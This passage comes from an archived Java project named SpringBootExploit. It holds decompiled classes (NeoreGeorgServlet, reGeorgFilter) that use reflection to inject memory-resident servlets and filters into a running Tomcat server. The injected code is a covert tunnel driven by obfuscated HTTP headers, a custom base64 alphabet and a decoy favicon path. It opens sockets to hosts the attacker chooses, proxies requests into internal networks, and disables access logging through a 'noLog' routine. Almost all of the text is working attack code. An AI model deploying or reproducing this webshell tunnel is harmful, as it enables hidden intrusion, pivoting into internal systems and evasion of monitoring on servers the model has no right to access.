} catch (Exception var6) {
}
}
}
}
}
}
public String addFilter() throws Exception {
ServletContext servletContext = this.request.getServletContext();
Filter filter = this;
String filterName = this.path;
String url = this.path;
if (servletContext.getFilterRegistration(filterName) == null) {
Field contextField = null;
ApplicationContext applicationContext = null;
StandardContext standardContext = null;
Field stateField = null;
Dynamic filterRegistration = null;
String var11;
try {
contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (ApplicationContext)contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext = (StandardContext)contextField.get(applicationContext);
stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(filterName, filter);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[])null);
stateField.set(standardContext, LifecycleState.STARTED);
var11 = null;
Class filterMap;
try {
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Exception var21) {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
}
Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
Object[] filterMaps = (Object[])((Object[])findFilterMaps.invoke(standardContext));
for(int i = 0; i < filterMaps.length; ++i) {
Object filterMapObj = filterMaps[i];
findFilterMaps = filterMap.getMethod("getFilterName");
String name = (String)findFilterMaps.invoke(filterMapObj);
if (name.equalsIgnoreCase(filterName)) {
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMapObj;
}
}
String var25 = "Success";
return var25;
} catch (Exception var22) {
var11 = var22.getMessage();
} finally {
stateField.set(standardContext, LifecycleState.STARTED);
}
return var11;
} else {
return "Filter already exists";
}
}
public static String b64en(byte[] data) {
StringBuffer sb = new StringBuffer();
int len = data.length;
int i = 0;
while(i < len) {
int b1 = data[i++] & 255;
if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[(b1 & 3) << 4]);
sb.append("==");
break;
}
int b2 = data[i++] & 255;
if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[(b1 & 3) << 4 | (b2 & 240) >>> 4]);
sb.append(en[(b2 & 15) << 2]);
sb.append("=");
break;
}
int b3 = data[i++] & 255;
sb.append(en[b1 >>> 2]);
sb.append(en[(b1 & 3) << 4 | (b2 & 240) >>> 4]);
sb.append(en[(b2 & 15) << 2 | (b3 & 192) >>> 6]);
sb.append(en[b3 & 63]);
}
return sb.toString();
}
public static byte[] b64de(String str) {
byte[] data = str.getBytes();
int len = data.length;
ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
int i = 0;
while(i < len) {
byte b1;
do {
b1 = de[data[i++]];
} while(i < len && b1 == -1);
if (b1 == -1) {
break;
}
byte b2;
do {
b2 = de[data[i++]];
} while(i < len && b2 == -1);
if (b2 == -1) {
break;
}
buf.write(b1 << 2 | (b2 & 48) >>> 4);
byte b3;
do {
b3 = data[i++];
if (b3 == 61) {
return buf.toByteArray();
}
b3 = de[b3];
} while(i < len && b3 == -1);
if (b3 == -1) {
break;
}
buf.write((b2 & 15) << 4 | (b3 & 60) >>> 2);
byte b4;
do {
b4 = data[i++];
if (b4 == 61) {
return buf.toByteArray();
}
b4 = de[b4];
} while(i < len && b4 == -1);
if (b4 == -1) {
break;
}
buf.write((b3 & 3) << 6 | b4);
}
return buf.toByteArray();
}
static String headerkey(String str) throws Exception {
String out = "";
String[] var2 = str.split("-");
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
String block = var2[var4];
out = out + block.substring(0, 1).toUpperCase() + block.substring(1);
out = out + "-";
}
return out.substring(0, out.length() - 1);
}
boolean islocal(String url) throws Exception {
String ip = (new URL(url)).getHost();
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while(nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface)nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while(addresses.hasMoreElements()) {
InetAddress addr = (InetAddress)addresses.nextElement();
if (addr instanceof Inet4Address && addr.getHostAddress().equals(ip)) {
return true;
}
}
}
return false;
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)resp;
PrintWriter out = response.getWriter();
HttpSession application = request.getSession();
String rUrl = request.getHeader("Zlponijrlvs");
String cmd;
if (rUrl != null) {
rUrl = new String(b64de(rUrl));
try {
if (!this.islocal(rUrl)) {
response.reset();
cmd = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection)u.openConnection();
conn.setRequestMethod(cmd);
conn.setDoOutput(true);
Enumeration enu = request.getHeaderNames();
List keys = Collections.list(enu);
Collections.reverse(keys);
Iterator var34 = keys.iterator();
while(var34.hasNext()) {
String key = (String)var34.next();
if (!key.equalsIgnoreCase("Zlponijrlvs")) {
String value = request.getHeader(key);
conn.setRequestProperty(headerkey(key), value);
}
}
byte[] buffer = new byte[1024];
int i;
if (request.getContentLength() != -1) {
OutputStream output;
try {
output = conn.getOutputStream();
} catch (Exception var21) {
response.setHeader("Vkh", "8MfxUTr1VG_uaKBPdfzufZ52oPQmVGkIC9");
return;
}
ServletInputStream inputStream = request.getInputStream();
while((i = inputStream.read(buffer)) != -1) {
output.write(buffer, 0, i);
}
output.flush();
output.close();
}
Iterator var39 = conn.getHeaderFields().keySet().iterator();
while(var39.hasNext()) {
String key = (String)var39.next();
if (key != null && !key.equalsIgnoreCase("Content-Length")) {
String value = conn.getHeaderField(key);
response.setHeader(key, value);
}
}
InputStream hin;
if (conn.getResponseCode() < 400) {
hin = conn.getInputStream();
} else {
hin = conn.getErrorStream();
if (hin == null) {
response.setStatus(200);
return;
}
}
response.setStatus(conn.getResponseCode());
while((i = hin.read(buffer)) != -1) {
byte[] data = new byte[i];
System.arraycopy(buffer, 0, data, 0, i);
out.write(new String(data));
}
return;
}
} catch (Exception var24) {
var24.getMessage();
}
}
response.resetBuffer();
response.setStatus(200);
cmd = request.getHeader("Hlbfh");
if (cmd != null) {
String mark = cmd.substring(0, 22);
cmd = cmd.substring(22);
response.setHeader("Jzyu", "5DZkJoYjLbRIqlWWzZ");
int bytesRead;
if (cmd.compareTo("2p1yqRJS7HDc") == 0) {
try {
String[] target_ary = (new String(b64de(request.getHeader("Bpmk")))).split("\\|");
String target = target_ary[0];
bytesRead = Integer.parseInt(target_ary[1]);
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, bytesRead));
socketChannel.configureBlocking(false);
application.setAttribute(mark, socketChannel);
response.setHeader("Jzyu", "5DZkJoYjLbRIqlWWzZ");
} catch (Exception var20) {
response.setHeader("Vkh", "ab0dOo8ZQaoYuWqf2ovGCpAkiafntyRljjMfG");
response.setHeader("Jzyu", "kdu05VN1tUY6F5b0j73zC9QuPVYfER73BEFzVfMt6SIy_KEsumgaRR");
}
} else {
SocketChannel socketChannel;
if (cmd.compareTo("h9AYzXWL0ombDQUMmsJPJSjRyPeDo2gHSnnWGKQJ3hi5") == 0) {
socketChannel = (SocketChannel)application.getAttribute(mark);
try {
socketChannel.socket().close();
} catch (Exception var19) {
}
application.removeAttribute(mark);
} else {
byte[] data;
if (cmd.compareTo("sDOD5hAhAyHLqLS0n") == 0) {
socketChannel = (SocketChannel)application.getAttribute(mark);
try {
ByteBuffer buf = ByteBuffer.allocate(513);
for(bytesRead = socketChannel.read(buf); bytesRead > 0; bytesRead = socketChannel.read(buf)) {
data = new byte[bytesRead];
System.arraycopy(buf.array(), 0, data, 0, bytesRead);
out.write(b64en(data));
}
response.setHeader("Jzyu", "5DZkJoYjLbRIqlWWzZ");
} catch (Exception var23) {
response.setHeader("Jzyu", "kdu05VN1tUY6F5b0j73zC9QuPVYfER73BEFzVfMt6SIy_KEsumgaRR");
}
} else if (cmd.compareTo("81eneZlfr3BUPRNWlfq7lxOFqMPEWbRcFr2wLxTTv") == 0) {
socketChannel = (SocketChannel)application.getAttribute(mark);
try {
int readlen = request.getContentLength();
byte[] buff = new byte[readlen];
request.getInputStream().read(buff, 0, readlen);
data = b64de(new String(buff));
ByteBuffer buf = ByteBuffer.allocate(data.length);
buf.put(data);
buf.flip();
while(buf.hasRemaining()) {
socketChannel.write(buf);
}
response.setHeader("Jzyu", "5DZkJoYjLbRIqlWWzZ");
} catch (Exception var22) {
response.setHeader("Vkh", "QFVgwWy5chBAXI");
response.setHeader("Jzyu", "kdu05VN1tUY6F5b0j73zC9QuPVYfER73BEFzVfMt6SIy_KEsumgaRR");
socketChannel.socket().close();
}
}
}
}
} else {
out.write("");
}
}
public void destroy() {
}
}
SpringBootExploit-1.1/src/main/java/com/drops/x/NeoreGeorgServlet.java 0000664 0000000 0000000 00000062032 14121252536 0026066 0 ustar 00root root 0000000 0000000 package com.drops.x;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationServletRegistration;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.ServletRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.*;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.util.*;
public class NeoreGeorgServlet implements Servlet {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs = "UTF-8";
public String path = "/favicondemo.ico";
private static char[] en = "mKg4oAv5kZqU1LtrHfVOSsD6RwI/jlzBW2bEaih3pNyXuMGJxeTdcn+9P7Y8CF0Q".toCharArray();
private static byte[] de = new byte[]{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 54, -1, -1, -1, 27, 62, 12, 33, 39, 3, 7, 23, 57, 59, 55, -1, -1, -1, -1, -1, -1, -1, 5, 31, 60, 22, 35, 61, 46, 16, 26, 47, 1, 13, 45, 41, 19, 56, 63, 24, 20, 50, 11, 18, 32, 43, 58, 9, -1, -1, -1, -1, -1, -1, 36, 34, 52, 51, 49, 17, 2, 38, 37, 28, 8, 29, 0, 53, 4, 40, 10, 15, 21, 14, 44, 6, 25, 48, 42, 30, -1, -1, -1, -1, -1};
public NeoreGeorgServlet() {
}
public boolean equals(Object obj) {
this.parseObj(obj);
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addServlet());
} catch (Exception var7) {
output.append("error:" + var7.toString());
}
try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}
return true;
}
public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])obj);
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;
try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}
}
public String addServlet() throws Exception {
try {
ServletContext servletContext = this.request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade)servletContext;
Field applicationContextField = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(applicationContextFacade);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(this.path);
standardContext.addChild(wrapper);
wrapper.setServletClass(this.path);
wrapper.setServlet(this);
Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext);
registration.addMapping(new String[]{this.path});
registration.setLoadOnStartup(1);
if (this.getMethodByClass(wrapper.getClass(), "setServlet", Servlet.class) == null) {
this.transform(standardContext, this.path);
this.init((ServletConfig)getFieldValue(wrapper, "facade"));
}
return "Success";
} catch (Exception var9) {
return var9.getMessage();
}
}
public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)resp;
PrintWriter out = response.getWriter();
HttpSession application = request.getSession();
try {
this.noLog(request);
} catch (Exception var21) {
}
String rUrl = request.getHeader("Zlponijrlvs");
String cmd;
if (rUrl != null) {
rUrl = new String(b64de(rUrl));
try {
if (!this.islocal(rUrl)) {
response.reset();
cmd = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection)u.openConnection();
conn.setRequestMethod(cmd);
conn.setDoOutput(true);
Enumeration enu = request.getHeaderNames();
List keys = Collections.list(enu);
Collections.reverse(keys);
Iterator var34 = keys.iterator();
while(var34.hasNext()) {
String key = (String)var34.next();
if (!key.equalsIgnoreCase("Zlponijrlvs")) {
String value = request.getHeader(key);
conn.setRequestProperty(headerkey(key), value);
}
}
byte[] buffer = new byte[1024];
int i;
if (request.getContentLength() != -1) {
OutputStream output;
try {
output = conn.getOutputStream();
} catch (Exception var20) {
response.setHeader("Vkh", "8MfxUTr1VG_uaKBPdfzufZ52oPQmVGkIC9");
return;
}
ServletInputStream inputStream = request.getInputStream();
while((i = inputStream.read(buffer)) != -1) {
output.write(buffer, 0, i);
}
output.flush();
output.close();
}
Iterator var39 = conn.getHeaderFields().keySet().iterator();
while(var39.hasNext()) {
String key = (String)var39.next();
if (key != null && !key.equalsIgnoreCase("Content-Length")) {
String value = conn.getHeaderField(key);
response.setHeader(key, value);
}
}
InputStream hin;
if (conn.getResponseCode() < 400) {
hin = conn.getInputStream();
} else {
hin = conn.getErrorStream();
if (hin == null) {
response.setStatus(200);
return;
}
}
response.setStatus(conn.getResponseCode());
while((i = hin.read(buffer)) != -1) {
byte[] data = new byte[i];
System.arraycopy(buffer, 0, data, 0, i);
out.write(new String(data));
}
return;
}
} catch (Exception var24) {
var24.getMessage();
}
}
response.resetBuffer();
response.setStatus(200);
cmd = request.getHeader("Hlbfh");
if (cmd != null) {
String mark = cmd.substring(0, 22);
cmd = cmd.substring(22);
response.setHeader("Jzyu", "5DZkJoYjLbRIqlWWzZ");
int bytesRead;
if (cmd.compareTo("2p1yqRJS7HDc") == 0) {
try {
String[] target_ary = (new String(b64de(request.getHeader("Bpmk")))).split("\\|");
String target = target_ary[0];
bytesRead = Integer.parseInt(target_ary[1]);
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, bytesRead));
socketChannel.configureBlocking(false);
application.setAttribute(mark, socketChannel);
response.setHeader("Jzyu", "5DZkJoYjLbRIqlWWzZ");
} catch (Exception var19) {
response.setHeader("Vkh", "ab0dOo8ZQaoYuWqf2ovGCpAkiafntyRljjMfG");
response.setHeader("Jzyu", "kdu05VN1tUY6F5b0j73zC9QuPVYfER73BEFzVfMt6SIy_KEsumgaRR");
}
} else {
SocketChannel socketChannel;
if (cmd.compareTo("h9AYzXWL0ombDQUMmsJPJSjRyPeDo2gHSnnWGKQJ3hi5") == 0) {
socketChannel = (SocketChannel)application.getAttribute(mark);
try {
socketChannel.socket().close();
} catch (Exception var18) {
}
application.removeAttribute(mark);
} else {
byte[] data;
if (cmd.compareTo("sDOD5hAhAyHLqLS0n") == 0) {
socketChannel = (SocketChannel)application.getAttribute(mark);
try {
ByteBuffer buf = ByteBuffer.allocate(513);
for(bytesRead = socketChannel.read(buf); bytesRead > 0; bytesRead = socketChannel.read(buf)) {
data = new byte[bytesRead];
System.arraycopy(buf.array(), 0, data, 0, bytesRead);
out.write(b64en(data));
}
response.setHeader("Jzyu", "5DZkJoYjLbRIqlWWzZ");
} catch (Exception var23) {
response.setHeader("Jzyu", "kdu05VN1tUY6F5b0j73zC9QuPVYfER73BEFzVfMt6SIy_KEsumgaRR");
}
} else if (cmd.compareTo("81eneZlfr3BUPRNWlfq7lxOFqMPEWbRcFr2wLxTTv") == 0) {
socketChannel = (SocketChannel)application.getAttribute(mark);
try {
int readlen = request.getContentLength();
byte[] buff = new byte[readlen];
request.getInputStream().read(buff, 0, readlen);
data = b64de(new String(buff));
ByteBuffer buf = ByteBuffer.allocate(data.length);
buf.put(data);
buf.flip();
while(buf.hasRemaining()) {
socketChannel.write(buf);
}
response.setHeader("Jzyu", "5DZkJoYjLbRIqlWWzZ");
} catch (Exception var22) {
response.setHeader("Vkh", "QFVgwWy5chBAXI");
response.setHeader("Jzyu", "kdu05VN1tUY6F5b0j73zC9QuPVYfER73BEFzVfMt6SIy_KEsumgaRR");
socketChannel.socket().close();
}
}
}
}
} else {
out.write("");
}
}
public static String b64en(byte[] data) {
StringBuffer sb = new StringBuffer();
int len = data.length;
int i = 0;
while(i < len) {
int b1 = data[i++] & 255;
if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[(b1 & 3) << 4]);
sb.append("==");
break;
}
int b2 = data[i++] & 255;
if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[(b1 & 3) << 4 | (b2 & 240) >>> 4]);
sb.append(en[(b2 & 15) << 2]);
sb.append("=");
break;
}
int b3 = data[i++] & 255;
sb.append(en[b1 >>> 2]);
sb.append(en[(b1 & 3) << 4 | (b2 & 240) >>> 4]);
sb.append(en[(b2 & 15) << 2 | (b3 & 192) >>> 6]);
sb.append(en[b3 & 63]);
}
return sb.toString();
}
public static byte[] b64de(String str) {
byte[] data = str.getBytes();
int len = data.length;
ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
int i = 0;
while(i < len) {
byte b1;
do {
b1 = de[data[i++]];
} while(i < len && b1 == -1);
if (b1 == -1) {
break;
}
byte b2;
do {
b2 = de[data[i++]];
} while(i < len && b2 == -1);
if (b2 == -1) {
break;
}
buf.write(b1 << 2 | (b2 & 48) >>> 4);
byte b3;
do {
b3 = data[i++];
if (b3 == 61) {
return buf.toByteArray();
}
b3 = de[b3];
} while(i < len && b3 == -1);
if (b3 == -1) {
break;
}
buf.write((b2 & 15) << 4 | (b3 & 60) >>> 2);
byte b4;
do {
b4 = data[i++];
if (b4 == 61) {
return buf.toByteArray();
}
b4 = de[b4];
} while(i < len && b4 == -1);
if (b4 == -1) {
break;
}
buf.write((b3 & 3) << 6 | b4);
}
return buf.toByteArray();
}
static String headerkey(String str) throws Exception {
String out = "";
String[] var2 = str.split("-");
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
String block = var2[var4];
out = out + block.substring(0, 1).toUpperCase() + block.substring(1);
out = out + "-";
}
return out.substring(0, out.length() - 1);
}
boolean islocal(String url) throws Exception {
String ip = (new URL(url)).getHost();
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while(nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface)nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while(addresses.hasMoreElements()) {
InetAddress addr = (InetAddress)addresses.nextElement();
if (addr instanceof Inet4Address && addr.getHostAddress().equals(ip)) {
return true;
}
}
}
return false;
}
private void transform(Object standardContext, String path) throws Exception {
Object containerBase = this.invoke(standardContext, "getParent", (Object[])null);
Class mapperListenerClass = Class.forName("org.apache.catalina.connector.MapperListener", false, containerBase.getClass().getClassLoader());
Field listenersField = Class.forName("org.apache.catalina.core.ContainerBase", false, containerBase.getClass().getClassLoader()).getDeclaredField("listeners");
listenersField.setAccessible(true);
ArrayList listeners = (ArrayList)listenersField.get(containerBase);
for(int i = 0; i < listeners.size(); ++i) {
Object mapperListener_Mapper = listeners.get(i);
if (mapperListener_Mapper != null && mapperListenerClass.isAssignableFrom(mapperListener_Mapper.getClass())) {
Object mapperListener_Mapper2 = getFieldValue(mapperListener_Mapper, "mapper");
Object mapperListener_Mapper_hosts = getFieldValue(mapperListener_Mapper2, "hosts");
for(int j = 0; j < Array.getLength(mapperListener_Mapper_hosts); ++j) {
Object mapperListener_Mapper_host = Array.get(mapperListener_Mapper_hosts, j);
Object mapperListener_Mapper_hosts_contextList = getFieldValue(mapperListener_Mapper_host, "contextList");
Object mapperListener_Mapper_hosts_contextList_contexts = getFieldValue(mapperListener_Mapper_hosts_contextList, "contexts");
for(int k = 0; k < Array.getLength(mapperListener_Mapper_hosts_contextList_contexts); ++k) {
Object mapperListener_Mapper_hosts_contextList_context = Array.get(mapperListener_Mapper_hosts_contextList_contexts, k);
if (standardContext.equals(getFieldValue(mapperListener_Mapper_hosts_contextList_context, "object"))) {
new ArrayList();
Object standardContext_Mapper = this.invoke(standardContext, "getMapper", (Object[])null);
Object standardContext_Mapper_Context = getFieldValue(standardContext_Mapper, "context");
Object standardContext_Mapper_Context_exactWrappers = getFieldValue(standardContext_Mapper_Context, "exactWrappers");
Object mapperListener_Mapper_hosts_contextList_context_exactWrappers = getFieldValue(mapperListener_Mapper_hosts_contextList_context, "exactWrappers");
int l;
Object Mapper_Wrapper;
Method addWrapperMethod;
for(l = 0; l < Array.getLength(mapperListener_Mapper_hosts_contextList_context_exactWrappers); ++l) {
Mapper_Wrapper = Array.get(mapperListener_Mapper_hosts_contextList_context_exactWrappers, l);
if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) {
addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("removeWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class);
addWrapperMethod.setAccessible(true);
addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path);
}
}
for(l = 0; l < Array.getLength(standardContext_Mapper_Context_exactWrappers); ++l) {
Mapper_Wrapper = Array.get(standardContext_Mapper_Context_exactWrappers, l);
if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) {
addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("addWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class, Object.class);
addWrapperMethod.setAccessible(true);
addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path, getFieldValue(Mapper_Wrapper, "object"));
}
}
}
}
}
}
}
}
private void noLog(HttpServletRequest request) throws Exception {
Object servletContext = getFieldValue(request.getServletContext(), "context");
Object standardContext = getFieldValue(servletContext, "context");
try {
ArrayList arrayList;
for(arrayList = new ArrayList(); standardContext != null; standardContext = this.invoke(standardContext, "getParent", (Object[])null)) {
arrayList.add(standardContext);
}
label49:
for(int i = 0; i < arrayList.size(); ++i) {
Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null);
if (pipeline != null) {
Object valve = this.invoke(pipeline, "getFirst", (Object[])null);
while(true) {
while(true) {
if (valve == null) {
continue label49;
}
if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null && this.getMethodByClass(valve.getClass(), "setCondition", String.class) != null) {
String condition = (String)this.invoke(valve, "getCondition");
condition = condition == null ? "FuckLog" : condition;
this.invoke(valve, "setCondition", condition);
this.request.setAttribute(condition, condition);
valve = this.invoke(valve, "getNext", (Object[])null);
} else if (Class.forName("org.apache.catalina.Valve", false, standardContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) {
valve = this.invoke(valve, "getNext", (Object[])null);
} else {
valve = null;
}
}
}
}
}
} catch (Exception var9) {
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
f = obj.getClass().getDeclaredField(fieldName);
}
f.setAccessible(true);
f.set(obj, value);
}
private Object invoke(Object obj, String methodName, Object... parameters) {
try {
ArrayList classes = new ArrayList();
if (parameters != null) {
for(int i = 0; i < parameters.length; ++i) {
Object o1 = parameters[i];
if (o1 != null) {
classes.add(o1.getClass());
} else {
classes.add((Object)null);
}
}
}
Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])((Class[])classes.toArray(new Class[0])));
return method.invoke(obj, parameters);
} catch (Exception var7) {
return null;
}
}
private Method getMethodByClass(Class cs, String methodName, Class... parameters) {
Method method = null;
while(cs != null) {
try {
method = cs.getDeclaredMethod(methodName, parameters);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}
return method;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
Method method = null;
Class cs = obj.getClass();
while(cs != null) {
try {
f = cs.getDeclaredField(fieldName);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}
}
f.setAccessible(true);
return f.get(obj);
}
public void init(ServletConfig servletConfig) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public String getServletInfo() {
return null;
}
public void destroy() {
}
}
SpringBootExploit-1.1/src/main/java/com/drops/x/reGeorgFilter.java 0000664 0000000 0000000 00000026246 14121252536 0025234 0 ustar 00root root 0000000 0000000 //
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package com.drops.x;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import javax.servlet.*;
import javax.servlet.FilterRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.util.EnumSet;
public class reGeorgFilter implements Filter {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs = "UTF-8";
public String path = "/favicondemo.ico";
public reGeorgFilter() {
}
public boolean equals(Object obj) {
this.parseObj(obj);
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addFilter());
} catch (Exception var7) {
output.append("error:" + var7.toString());
}
try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}
return true;
}
public String addFilter() throws Exception {
ServletContext servletContext = this.request.getServletContext();
Filter filter = this;
String filterName = this.path;
String url = this.path;
if (servletContext.getFilterRegistration(filterName) == null) {
Field contextField = null;
ApplicationContext applicationContext = null;
StandardContext standardContext = null;
Field stateField = null;
Dynamic filterRegistration = null;
String var11;
try {
contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (ApplicationContext)contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext = (StandardContext)contextField.get(applicationContext);
stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(filterName, filter);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[])null);
stateField.set(standardContext, LifecycleState.STARTED);
var11 = null;
Class filterMap;
try {
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Exception var21) {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
}
Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
Object[] filterMaps = (Object[])((Object[])findFilterMaps.invoke(standardContext));
for(int i = 0; i < filterMaps.length; ++i) {
Object filterMapObj = filterMaps[i];
findFilterMaps = filterMap.getMethod("getFilterName");
String name = (String)findFilterMaps.invoke(filterMapObj);
if (name.equalsIgnoreCase(filterName)) {
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMapObj;
}
}
String var25 = "Success";
return var25;
} catch (Exception var22) {
var11 = var22.getMessage();
} finally {
stateField.set(standardContext, LifecycleState.STARTED);
}
return var11;
} else {
return "Filter already exists";
}
}
public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])obj);
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;
try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
